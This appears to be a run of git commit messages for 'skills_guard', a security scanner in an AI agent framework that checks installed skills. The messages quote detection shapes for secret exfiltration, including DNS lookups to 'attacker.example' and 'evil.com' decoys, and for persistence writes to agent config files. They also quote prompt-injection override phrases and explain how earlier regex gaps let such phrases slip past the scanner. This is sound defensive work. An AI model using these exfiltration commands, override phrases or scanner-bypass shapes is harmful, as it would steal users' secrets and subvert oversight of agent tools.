Same bug class as the salvaged terminal-scanner fix: skills_guard's
env_exfil_curl/wget/fetch used unanchored \w*(KEY|TOKEN|...|API)
alternations, so any var with API/KEY/TOKEN mid-name
($TRILLIUM_ETAPI_URL) scored a critical exfiltration finding. Applied
the same \b anchor + plural tolerance, dropped mid-name API (every real
secret it caught already ends in KEY/TOKEN), kept CREDENTIAL, and kept
the loopback exemption from #98246. httpx/requests patterns unchanged —
their (KEY|TOKEN|...) alternation is unanchored-by-design against
argument text, not var-name suffixes.
hermes skills install impeccable (and the docs-page install button) now
installs the impeccable frontend-design skill as an official optional-skills
entry. The local optional-skills/creative/impeccable/ dir is a catalog STUB:
its frontmatter declares metadata.hermes.upstream (repo + path), and
OptionalSkillSource.fetch() pulls the real 163-file bundle live from
pbakaus/impeccable:.hermes/skills/impeccable — the Hermes-native bundle
upstream maintains and verifies. Nothing vendored, never stale.
New mechanism (generic, not impeccable-specific):
- OptionalSkillSource._upstream_pointer(): parses/validates the upstream
pointer (owner/name repo, clean relative path, traversal rejected).
- _fetch_from_upstream(): delegates to GitHubSource.fetch(), relabels the
bundle official/<rel> at trust 'trusted' (curated endorsement, but
third-party content — dangerous scan verdicts still block).
- The live-repo fallback path redirects stubs the same way, so stale local
checkouts behave identically.
Three real gaps this surfaced, all fixed:
- GitHubSource.fetch() only downloaded SKILL.md plus paths linked from a
canonical support dir (references/, scripts/, ...). Impeccable keeps its
playbooks under reference/ (singular) and links scripts only from
reference files, so fetch shipped 1 of 163 files. fetch() now downloads
the full skill directory via the git tree (same approach as the
optional-skills live fetch), still rejecting symlinks/hidden/unsafe paths
and still failing on a missing SKILL.md-linked references/ path.
- The five env_exfil_* scanner patterns flagged loopback requests as
critical exfiltration: impeccable's live mode polls
http://localhost:PORT/status?token=TOKEN and scored two CRITICALs.
Scheme-anchored loopback exemption added; evil.com/?u=localhost decoys
still fire (10-case regex matrix in tests).
- unified_search() truncated to limit before ranking, so official catalog
entries got crowded out by skills.sh mirrors and bare-name installs
stalled on an ambiguity table. Results now stable-sort by trust rank
before the cut, and _resolve_short_name prefers a sole official exact
match over community mirrors.
Also fixes pre-existing test pollution: TestInstallPathSafety's fixture
monkeypatched the PEP 562 dynamic SKILLS_DIR, permanently shadowing dynamic
resolution and breaking the served_repo E2E tests in any combined run
(reproducible on main).
Validation: live E2E do_install("impeccable") against real GitHub —
resolves to official/creative/impeccable, verdict SAFE, 163 files on disk,
skill loads, /impeccable slash command registers. 128/128 targeted tests;
full-dir fetch test sabotage-verified. Docs: optional-skills catalog row,
generated skill page, sidebar.
Follow-up to @AIalliAI's #60750 commits: with python_environ_get_secret
downgraded to medium, the high-severity python_os_environ pattern still
fired on the same os.environ.get("...KEY") line, re-escalating the verdict
the downgrade intended to avoid. Exempt every .get() form (non-secret =
config read; secret-shaped = scored medium by the dedicated pattern), and
apply the same medium grade to the sibling os.getenv() secret pattern —
same shape, same rationale (#60709 point 2).
The original ^(?!\s*#) prefix only skipped full-line comments starting
with '#'. An inline comment like:
cfg = environ.get('HOME') # os.environ available
still triggered python_os_environ because the regex matched the code part
before the '#'.
Two complementary fixes:
1. Replace ^(?!\s*#) with ^[^#\n]* in the regex — this rejects any line
where a '#' comment marker appears anywhere before os.environ.
2. Add _compute_docstring_lines() — a state machine that pre-computes
lines inside triple-quoted strings (docstrings) and skips them during
pattern matching. Also handles single-line self-contained docstrings.
6 new regression tests covering: inline comments, multi-line docstrings,
single-line docstrings, full-line comments, and a verification that real
bare dict(os.environ) code still triggers. All 85 tests pass.
Five targeted fixes for #60709 (reported by @mvanhorn):
1. ruby_env_secret: scope ENV[] to case-sensitive Ruby constant
((?-i:ENV)) — no longer matches Python env[key] dict access.
2. python_environ_get_secret: downgrade critical→medium — reading
an API key via os.environ.get() is normal auth, not exfiltration.
3. python_os_environ: skip comment lines with ^(?!\s*#) — no longer
flags os.environ references in docstrings or code comments.
4. deception_hide: downgrade critical→high + negative lookahead for
UX guidance context (unless/except/until/confirm/diagnose/verify).
5. oversized_skill: downgrade high→low + raise cap 1MB→5MB — large
skills are legitimate; structural size is informational only.
All 80 existing tests pass. 6 new verification tests added for each fix.
Review-fold from the 3-angle simplify pass:
- sed -Ei / -iE / --in-place now match the shell-critical tier (the
bare '\s-i\b' token missed combined short flags and the GNU long
form); read-only sed stays unflagged. Regression tests added.
- agent_config_contract joins plugin_guard's CODE_EXEMPT_PATTERN_IDS:
content-contract prose in plugin code files (docstrings/comments)
is the same false-positive class the existing agent_config_mod
exemption suppresses. Doc/config files keep the full pattern set.
Efficiency reviewer: 1.24x full-scan cost (+3.4ms/file, install-time
only), worst-case adversarial line 55us — no ReDoS exposure.
Follow-up hardening on top of #92249's tiered scoring:
- Shell-critical tier now also catches tee, and cp/mv with the config
file in destination position (cp/mv reads and .bak backups excluded).
A single '>' redirect must be preceded by a word/quote character so
markdown blockquotes and '->' arrows no longer match.
- Prose tier catches mid-line imperatives behind directive markers
('you must modify...', 'please update...', 'make sure to append...'),
which previously bypassed the line-start anchor.
- Prose instructions aimed at AGENT config files score critical again:
project-skill quarantine acts only on 'dangerous', so high/caution
silently converted 'quarantined' into 'allowed' for exactly the
sentence shape persistence attacks use (concern raised in #88952).
Hermes/other-agent config prose stays high/caution (setup docs
legitimately instruct config.yaml edits).
- New content-contract tier ('AGENTS.md should contain ...') at
high/caution — the shape is shared by authoring guides and attacks.
- .claude/settings and .codex/config gain the same shell-critical tier.
Verified against a 595-skill corpus: 0 skills blocked by these tiers
(main blocked 44 legitimate ones), all mattpocock repro skills from
#92021 install, and 20/20 attack corpus lines keep their verdicts.
Enough1122's review on #92249 asked whether language write APIs
(Python open('w')/write_text/os.replace/shutil, Node fs.writeFileSync/
appendFile) are covered by the agent-config persistence tiers. They are
not: those tiers score shell redirection, sed -i, and imperative prose
only; language-API calls surface just the informational *_ref finding.
Static regexes cannot tie a dynamically-built path to the config-file
destination without executing the skill, so this is a documented scope
cut rather than missing coverage — runtime install gates remain the
backstop. Scoring behavior is unchanged, so SCANNER_VERSION stays at
skills-guard-v2 and cached verdicts remain valid.
Refs #92249
The skills-guard-v1 scanner flagged ANY mention of AGENTS.md / CLAUDE.md /
.cursorrules / .clinerules as critical/persistence. Any critical finding
forces a dangerous verdict, and community installs cannot be overridden
with --force — so legitimate meta-skills that merely DISCUSS agent config
files (authoring guides, setup docs, cross-references) were permanently
blocked. Three popular community skills were hit in the wild.
skills-guard-v2 scores the persistence category in three tiers:
- Mechanical persistence (shell redirection or sed -i targeting an agent
config file) stays critical -> dangerous. An unambiguous write path.
- Modification language in imperative position (verb at line/bullet start
within 80 chars of the filename) is high -> caution. Regexes cannot
separate "Edit AGENTS.md to inject instructions" from descriptive prose,
but imperative verbs are the shape real instructions take. Caution keeps
the install confirmable instead of irreversibly blocked.
- Bare references drop to low/informational for auditability without
driving the verdict.
The verb-proximity shape matches the existing convention in
tools/threat_patterns.py, and the tiering mirrors how allowed_tools_field
was already handled. The pattern id agent_config_mod is preserved so
plugin_guard.CODE_EXEMPT_PATTERN_IDS stays valid; hermes_config_mod /
other_agent_config get parallel _shell / _ref splits fixing the whole bug
class. SCANNER_VERSION bumps to v2 so cached v1 dangerous verdicts are
invalidated and re-scanned on next install attempt.
The dns_exfil pattern matched the 'host' DNS command inside flag names
like llama.cpp/vllm's --host 127.0.0.1 --port $PORT, so any plugin
shipping a .sh launcher script was blocked as dangerous. A negative
lookbehind (?<![-/]) excludes flag/path contexts while real DNS-lookup
exfiltration (host $SECRET.attacker.example, nslookup $X, dig $(...))
still trips the pattern.
Salvaged from PR #92382 (regex fix + regression test); scan-scoping
half rejected separately.
Sweep of open Windows issues affecting day-to-day agent operation
(explicitly excluding install/setup and locale classes):
- hermes_cli/_subprocess_compat.py: new split_command_line() — Windows-
safe command-line tokenizer (posix=False + quote stripping) so
backslash paths survive. POSIX behavior unchanged (plain shlex.split).
- hermes_cli/console_engine.py (#83934): console commands like
'sessions export C:\Users\me\out.jsonl' no longer silently mangle the
path into a relative filename in the cwd.
- agent/shell_hooks.py (#78293): hook commands with backslash paths now
spawn, resolve their script path, and pass hooks doctor instead of
reporting 'not executable'. All three shlex sites routed through the
shared splitter.
- agent/prompt_builder.py (#51755): system prompt now reports
Windows (11) on Windows 11 — platform.release() returns 10 for both;
distinguish via sys.getwindowsversion().build >= 22000.
- hermes_cli/commands.py (#42016): @ autocomplete no longer crashes the
prompt_toolkit event loop when rg emits a path on a different mount
(device paths \.\nul, other drive letters) — relpath ValueError is
skipped per-entry.
- tools/browser_use_cli.py (#83884): screenshot-path detection now
matches Windows drive-letter paths (C:\... and C:/...) in addition to
POSIX; Browser Use screenshots attach on Windows.
- tools/skills_hub.py + tools/skills_guard.py (#62310): the two 'MUST
stay symmetric' skill content hashes actually agree on Windows now.
Bundle keys are normalized to POSIX separators before hashing, and the
disk digest sorts by rel-posix STRING (case-sensitive) instead of Path
objects (case-insensitive on Windows). Fixes permanent false-positive
update_available for every installed skill.
Tests: tests/tools/test_windows_agent_loop_papercuts.py — 16 cases
covering each fix, including a disk-vs-bundle hash symmetry check built
with native Windows separators and a mixed-case filename.
strip_think_blocks passed the same response-scrubbing strings through
re's pattern dispatcher on every response. Skills Guard repeated the
same work for 121 patterns against every scanned line.
Compile the existing expressions once and reuse Pattern.sub/search. Keep
each generic tool-call tag in its own paired expression so mismatched
openers retain their payload while existing stray-closer cleanup remains
unchanged.
Part of #33208
Salvaged from #32713 by @ErnestHysa.
Co-authored-by: ErnestHysa <takis312@hotmail.com>
Port from openclaw/openclaw#112954. The redactor knew GitHub, Slack,
Google, Stripe, AWS access-key-ID and ~25 other vendor prefixes but had
zero GitLab coverage — glpat-/gloas-/gldt-/glrt-/glrtr-/glcbt-/glptt-/
glft-/glimt-/glagent-/glsoat-/glffct-/glwt- tokens and legacy GR1348941
runner registration tokens passed through display and log surfaces
verbatim. Follow-up explicitly invited when #4541 was closed.
Each pattern keeps a full literal prefix so the _PREFIX_SUBSTRINGS
pre-screen (derived at module load) stays false-negative-free; routable
runner tokens allow dotted segments. Sibling site: skills_guard's
credential-exposure scan gains a gitlab_token_leaked pattern.
The skill security scanner blocked legitimate community skills on three
intrinsic false-positive patterns:
- read_secrets_file matched `cat > file.env <<` heredocs (writing the
user's own keys into their own local .env), not just `cat file.env`
reads. Exclude output redirections.
- allowed-tools frontmatter is REQUIRED by the agent-skill spec; every
compliant skill declares it. Drop from HIGH privilege_escalation to a
LOW informational finding so it no longer drives the verdict.
- python_os_environ flagged `os.environ.get("CONFIG_VAR")` config reads
as HIGH exfiltration. Exempt non-secret `.get()` reads; add a dedicated
CRITICAL python_environ_get_secret pattern so secret-named reads
(OPENAI_API_KEY etc.) are still caught.
Also: scan_skill() now honors a skill-provided .skillignore / .clawhubignore
(gitignore-style) so dev/docs artifacts shipped in a skill root are excluded
from both structural checks and pattern scanning. SKILL.md is never ignorable.
80 tests pass (64 existing + 16 new).
NVIDIA/skills is now a default trusted tap in the Hermes Skills Hub —
discoverable, browsable, searchable, and auto-updating through the same
pipeline that already serves OpenAI, Anthropic, and HuggingFace skills.
Rebased onto current main.
NVIDIA's verified skills catalog (https://github.com/NVIDIA/skills) ships
NVIDIA-signed skills for CUDA-X, AIQ, cuOpt, cuPyNumeric, DeepStream, NeMo,
NemoClaw and the Skill Card Generator — each bundle carrying a detached
`skill.oms.sig` signature, a governance `skill-card.md`, and `evals/`. The
sync pipeline drops any skill missing those artifacts before publishing.
Changes:
- tools/skills_hub.py: add NVIDIA/skills to GitHubSource.DEFAULT_TAPS so
it lights up in `hermes skills browse`, `hermes skills search <q>`, the
twice-daily skills-index build, and the docs-site Skills Hub page
(https://hermes-agent.nousresearch.com/docs/skills) automatically.
- tools/skills_guard.py: add NVIDIA/skills to TRUSTED_REPOS so installs
resolve to trust_level="trusted" (looser install policy than community).
- website/scripts/extract-skills.py: map the `github` source id to a
friendly "NVIDIA" pill label for the docs hub page.
- website/src/pages/skills/index.tsx: register the NVIDIA pill (green
#76b900) and slot it into SOURCE_ORDER after HuggingFace.
- website/docs/user-guide/features/skills.md (+ zh-Hans i18n): document
the new default tap and the expanded trusted-repos list.
- tests/tools/test_skills_guard.py: assert NVIDIA/skills resolves to
"trusted" (including the skills-sh-wrapped form).
- tests/tools/test_skills_hub.py: invariant — every TRUSTED_REPOS entry
must be reachable via GitHubSource.DEFAULT_TAPS (prevents future
trusted repos from being declared but never browseable).
Validation:
- Live GitHub fetch: `src.fetch('NVIDIA/skills/skills/aiq-deploy')` pulled
17 files including SKILL.md (13 KB), skill-card.md, skill.oms.sig, and
the full references/ + evals/ tree. trust_level="trusted".
- Live inspect resolved name, description, and trust correctly.
- All 193 existing skills_guard + skills_hub tests still pass.
Follow-up to @sprmn24's verdict-logic fix. The previous block-message
ended in 'Use --force to override' regardless of verdict — but as of
the --force fix above, dangerous community/trusted skills can't be
overridden by --force at all. The misleading hint sends users in a
loop. Replace it with a specific message that tells them what the
documented behavior actually is.
Adds two regression tests covering the dangerous-verdict message
shape and one that pins the existing --force hint for non-dangerous
blocks.
- _determine_verdict() returned 'caution' for medium/low-only findings,
causing community skills with harmless patterns (e.g. path traversal
notation, unpinned pip install) to be incorrectly blocked. Now returns
'safe' when only medium/low severity findings are present.
- should_allow_install() allowed --force to override 'dangerous' verdict,
contradicting documented behavior that --force does NOT override dangerous
scan results. Added explicit check to prevent force-installing skills
with dangerous verdict.
PR #6656 added rel_path + \x00 prefixing to ``bundle_content_hash`` so a
filename swap between two files in a bundle changes the digest. But it
only patched the in-memory side — ``content_hash`` in ``tools/skills_guard.py``
(the on-disk equivalent) still hashed file contents only.
These two functions need to stay symmetric: ``check_for_skill_updates``
compares the disk hash of an installed skill against the bundle hash
of the upstream copy. With the asymmetric fix, every clean install
showed as drifted because the digests no longer matched
(2 existing tests in ``test_skills_hub.py`` started failing as soon as
the contributor's change landed).
Apply the same ``rel_path + \x00 + content`` shape to the disk-side
function. Both functions now produce the same digest for the same skill
content laid out two ways. Documented the symmetry invariant in the
docstring so a future change to either function knows to touch both.
Also adds tests/tools/test_pr_6656_regressions.py with 10 regression
tests covering all three fixes salvaged in PR #6656:
- uninstall_skill path traversal (4 cases: parent segments, absolute
paths, symlink escape, legitimate skill)
- bundle_content_hash filename swap detection (4 cases: in-memory
swap, identity, disk-side swap, bundle↔disk symmetry)
- list_pending lock contract (2 cases: source-grep contract, smoke)
Also fixes AUTHOR_MAP entry for @aaronlab — their commit email
(1115117931@qq.com) maps to "aaronagent" which isn't a real GitHub
login, so changelog @mentions would 404.
Adds Hugging Face's official skill catalog to the default GitHub taps and
classifies it as a trusted source alongside openai/skills and anthropics/skills.
- tools/skills_guard.py: huggingface/skills -> TRUSTED_REPOS
- tools/skills_hub.py: GitHubSource.DEFAULT_TAPS += huggingface/skills (skills/)
- website/docs: list it under default taps + trusted-source examples
Closes#2549.
Co-authored-by: teknium1 <127238744+teknium1@users.noreply.github.com>
Replace with for all literal-tuple
membership tests. Set lookup is O(1) vs O(n) for tuple — consistent
micro-optimization across the codebase.
608 instances fixed via `ruff --fix --unsafe-fixes`, 0 remaining.
133 files, +626/-626 (net zero).
Replaces the blanket 'always allow' change from the previous commit with
an opt-in config flag so users who want belt-and-suspenders security can
still get the keyword scan on skill_manage output.
## Default behavior (flag off)
skill_manage(action='create'|'edit'|'patch') no longer runs the keyword
scanner. The agent can write skills that mention risky keywords in prose
(documenting what reviewers should watch for, describing cache-bust
semantics in a PR-review skill, referencing AGENTS.md, etc.) without
getting blocked.
Rationale: the agent can already execute the same code paths via
terminal() with no gate, so the scan adds friction without meaningful
security against a compromised or malicious agent.
## Opt-in behavior (flag on)
Set skills.guard_agent_created: true in config.yaml to get the original
behavior back. Scanner runs on every skill_manage write; dangerous
verdicts surface as a tool error the agent can react to (retry without
the flagged content).
## External hub installs unaffected
trusted/community sources (hermes skills install) always get scanned
regardless of this flag. The gate is specifically for skill_manage,
which only agents call.
## Changes
- hermes_cli/config.py: add skills.guard_agent_created: False to DEFAULT_CONFIG
- tools/skill_manager_tool.py: _guard_agent_created_enabled() reads the flag;
_security_scan_skill() short-circuits to None when the flag is off
- tools/skills_guard.py: restore INSTALL_POLICY['agent-created'] =
('allow', 'allow', 'ask') so the scan remains strict when it does run
- tests/tools/test_skills_guard.py: restore original ask/force tests
- tests/tools/test_skill_manager_tool.py: new TestSecurityScanGate class
covering both flag states + config error handling
## Validation
- tests/tools/test_skills_guard.py + test_skill_manager_tool.py: 115/115 pass
- E2E: flagged-keyword skill creates with default config, blocks with flag on
The security scanner is meant to protect against hostile external skills
pulled from GitHub via hermes skills install — trusted/community policies
block or ask on dangerous verdicts accordingly. But agent-created skills
(from skill_manage) run in the same process as the agent that wrote them.
The agent can already execute the same code paths via terminal() with no
gate, so the ask-on-dangerous policy adds friction without meaningful
security.
Concrete trigger: an agent writing a PR-review skill that describes
cache-busting or persistence semantics in prose gets blocked because
those words appear in the patterns list. The skill isn't actually doing
anything dangerous — it's just documenting what reviewers should watch
for in other PRs.
Change: agent-created dangerous verdict maps to 'allow' instead of 'ask'.
External hub installs (trusted/community) keep their stricter policies
intact. Tests updated: renamed test_dangerous_agent_created_asks →
test_dangerous_agent_created_allowed; renamed force-override test and
updated assertion since force is now a no-op for agent-created (the allow
branch returns first).
Automated dead code audit using vulture + coverage.py + ast-grep intersection,
confirmed by Opus deep verification pass. Every symbol verified to have zero
production callers (test imports excluded from reachability analysis).
Removes ~1,534 lines of dead production code across 46 files and ~1,382 lines
of stale test code. 3 entire files deleted (agent/builtin_memory_provider.py,
hermes_cli/checklist.py, tests/hermes_cli/test_setup_model_selection.py).
Co-authored-by: alt-glitch <balyan.sid@gmail.com>
The same .* pattern vulnerable to newline bypass that was fixed in
prompt_builder.py (PR #6925) also existed in skills_guard.py. Changed
to [\s\S]*? to match across newlines.
Salvage of #3389 by @binhnt92 with reasoning fallback and retry logic added on top.
All 7 auxiliary LLM call sites now use extract_content_or_reasoning() which mirrors the main agent loop's behavior: extract content, strip think blocks, fall back to structured reasoning fields, retry on empty.
Closes#3389.
* fix(skills): reduce skills.sh resolution churn and preserve trust for wrapped identifiers
- Accept common skills.sh prefix typos (skils-sh/, skils.sh/)
- Strip skills-sh/ prefix in _resolve_trust_level() so trusted repos
stay trusted when installed through skills.sh
- Use resolved identifier (from bundle/meta) for scan_skill source
- Prefer tree search before root scan in _discover_identifier()
- Add _resolve_github_meta() consolidation for inspect flow
Cherry-picked from PR #3001 by kshitijk4poor.
* fix: restore candidate loop in SkillsShSource.fetch() for consistency
The cherry-picked PR only tried the first candidate identifier in
fetch() while inspect() (via _resolve_github_meta) tried all four.
This meant skills at repo/skills/path would be found by inspect but
missed by fetch, forcing it through the heavier _discover_identifier
flow. Restore the candidate loop so both paths behave identically.
Updated the test assertion to match.
---------
Co-authored-by: kshitijk4poor <82637225+kshitijk4poor@users.noreply.github.com>
_resolve_trust_level() didn't handle 'agent-created' source, so it
fell through to 'community' trust level. Community policy blocks on
any caution or dangerous findings, which meant common patterns like
curl with env vars, systemctl, crontab, cloudflared references etc.
would block skill creation/patching.
The agent-created policy row already existed in INSTALL_POLICY with
permissive settings (allow caution, ask on dangerous) but was never
reached. Now it is.
Fixes reports of skill_manage being blocked by security scanner.
Changes the policy for agent-created skills with critical security
findings from 'block' (silently rejected) to 'ask' (allowed with
warning logged). The agent created the skill, so blocking it entirely
is too aggressive — let it through but log the findings.
- Policy: agent-created dangerous changed from block to ask
- should_allow_install returns None for 'ask' (vs True/False)
- format_scan_report shows 'NEEDS CONFIRMATION' for ask
- skill_manager_tool.py caller handles None (allows with warning)
- force=True still overrides as before
Based on PR #2271 by redhelix (closed — 3200 lines of unrelated
Mission Control code excluded).
Agent-created skills were using the same policy as community hub
installs, blocking any skill with medium/high severity findings
(e.g. docker pull, pip install, git clone). This meant the agent
couldn't create skills that reference Docker or other common tools.
Changed agent-created policy from (allow, block, block) to
(allow, allow, block) — matching the trusted policy. Caution-level
findings (medium/high severity) are now allowed through, while
dangerous findings (critical severity like exfiltration, prompt
injection, reverse shells) remain blocked.
Added 4 tests covering the agent-created policy: safe allowed,
caution allowed, dangerous blocked, force override.
Salvaged from PR #1007 by stablegenius49.
- let INSTALL_POLICY decide dangerous verdict handling for builtin skills
- allow --force to override blocked dangerous decisions for trusted and community sources
- accept --yes / -y as aliases for --force in /skills install
- update regression tests to match the intended policy precedence
Add centralized call_llm() and async_call_llm() functions that own the
full LLM request lifecycle:
1. Resolve provider + model from task config or explicit args
2. Get or create a cached client for that provider
3. Format request args (max_tokens handling, provider extra_body)
4. Make the API call with max_tokens/max_completion_tokens retry
5. Return the response
Config: expanded auxiliary section with provider:model slots for all
tasks (compression, vision, web_extract, session_search, skills_hub,
mcp, flush_memories). Config version bumped to 7.
Migrated all auxiliary consumers:
- context_compressor.py: uses call_llm(task='compression')
- vision_tools.py: uses async_call_llm(task='vision')
- web_tools.py: uses async_call_llm(task='web_extract')
- session_search_tool.py: uses async_call_llm(task='session_search')
- browser_tool.py: uses call_llm(task='vision'/'web_extract')
- mcp_tool.py: uses call_llm(task='mcp')
- skills_guard.py: uses call_llm(provider='openrouter')
- run_agent.py flush_memories: uses call_llm(task='flush_memories')
Tests updated for context_compressor and MCP tool. Some test mocks
still need updating (15 remaining failures from mock pattern changes,
2 pre-existing).
Route all remaining ad-hoc auxiliary LLM call sites through
resolve_provider_client() so auth, headers, and API format (Chat
Completions vs Responses API) are handled consistently in one place.
Files changed:
- tools/openrouter_client.py: Replace manual AsyncOpenAI construction
with resolve_provider_client('openrouter', async_mode=True). The
shared client module now delegates entirely to the router.
- tools/skills_guard.py: Replace inline OpenAI client construction
(hardcoded OpenRouter base_url, manual api_key lookup, manual
headers) with resolve_provider_client('openrouter'). Remove unused
OPENROUTER_BASE_URL import.
- trajectory_compressor.py: Add _detect_provider() to map config
base_url to a provider name, then route through
resolve_provider_client. Falls back to raw construction for
unrecognized custom endpoints.
- mini_swe_runner.py: Route default case (no explicit api_key/base_url)
through resolve_provider_client('openrouter') with auto-detection
fallback. Preserves direct construction when explicit creds are
passed via CLI args.
- agent/auxiliary_client.py: Fix stale module docstring — vision auto
mode now correctly documents that Codex and custom endpoints are
tried (not skipped).
These two files were creating bare OpenAI clients pointing at OpenRouter
without the HTTP-Referer / X-OpenRouter-Title / X-OpenRouter-Categories
headers that the rest of the codebase sends for app attribution.
- skills_guard.py: LLM audit client (always OpenRouter)
- trajectory_compressor.py: sync + async summarization clients
(guarded with 'openrouter' in base_url check since the endpoint
is user-configurable)
Add 'optional-skills/' directory for official skills that ship with the repo
but are not copied to ~/.hermes/skills/ during setup. They are:
- NOT shown to the model in the system prompt
- NOT copied during hermes setup/update
- Discoverable via 'hermes skills search' labeled as 'official'
- Installable via 'hermes skills install' with builtin trust (no third-party warning)
- Auto-categorized on install based on directory structure
Implementation:
- OptionalSkillSource adapter in tools/skills_hub.py (search/fetch/inspect)
- Added to create_source_router() as first source (highest priority)
- Trust level 'builtin' for official skills in skills_guard.py
- Friendly install message for official skills (no third-party warning)
- 'official' label in cyan in search results and skill list
First optional skill: Blackbox CLI (autonomous-ai-agents/blackbox)
- Multi-model coding agent with built-in judge/Chairman pattern
- Delegates to Claude, Codex, Gemini, and Blackbox models
- Open-source CLI (GPL-3.0, TypeScript, forked from Gemini CLI)
- Requires paid Blackbox AI API key
Refs: #475
Authored by Farukest. Fixes#387.
Removes 'and not force' from the dangerous verdict check so --force
can never install skills with critical security findings (reverse shells,
data exfiltration, etc). The docstring already documented this behavior
but the code didn't enforce it.
The docstring states --force should never override dangerous verdicts,
but the condition `if result.verdict == "dangerous" and not force`
allowed force=True to skip the early return. Execution then fell
through to `if force: return True`, bypassing the policy block.
Removed `and not force` so dangerous skills are always blocked
regardless of the --force flag.
The symlink escape check in _check_structure() used startswith()
without a trailing separator. A symlink resolving to a sibling
directory with a shared prefix (e.g. 'axolotl-backdoor') would pass
the check for 'axolotl' since the string prefix matched.
Replaced with Path.is_relative_to() which correctly handles directory
boundaries and is consistent with the skill_view path check.
Systematic audit of all prompt injection regexes in skills_guard.py
found 8 more patterns with the same single-word gap vulnerability
fixed in PR #192. Multi-word variants like 'pretend that you are',
'output the full system prompt', 'respond without your safety
filters', etc. all bypassed the scanner.
Fixed patterns:
- you are [now] → you are [... now]
- do not [tell] the user → do not [... tell ... the] user
- pretend [you are|to be] → pretend [... you are|to be]
- output the [system|initial] prompt → output [... system|initial] prompt
- act as if you [have no] [restrictions] → act as if [... you ... have no ... restrictions]
- respond without [restrictions] → respond without [... restrictions]
- you have been [updated] to → you have been [... updated] to
- share [the] [entire] [conversation] → share [... conversation]
All use (?:\w+\s+)* to allow arbitrary intermediate words.
The 'disregard ... instructions/rules/guidelines' regex had the
same single-word gap vulnerability as the 'ignore' pattern fixed
in PR #192. 'disregard all your instructions' bypassed the scanner.
Added (?:\w+\s+)* between both keyword groups to allow arbitrary
intermediate words.
The regex `ignore\s+(previous|all|...)\s+instructions` only matched
a single keyword between 'ignore' and 'instructions'. Phrases like
'ignore all prior instructions' bypassed the scanner entirely.
Changed to `ignore\s+(?:\w+\s+)*(previous|all|...)\s+instructions`
to allow arbitrary words before the keyword.
Teknium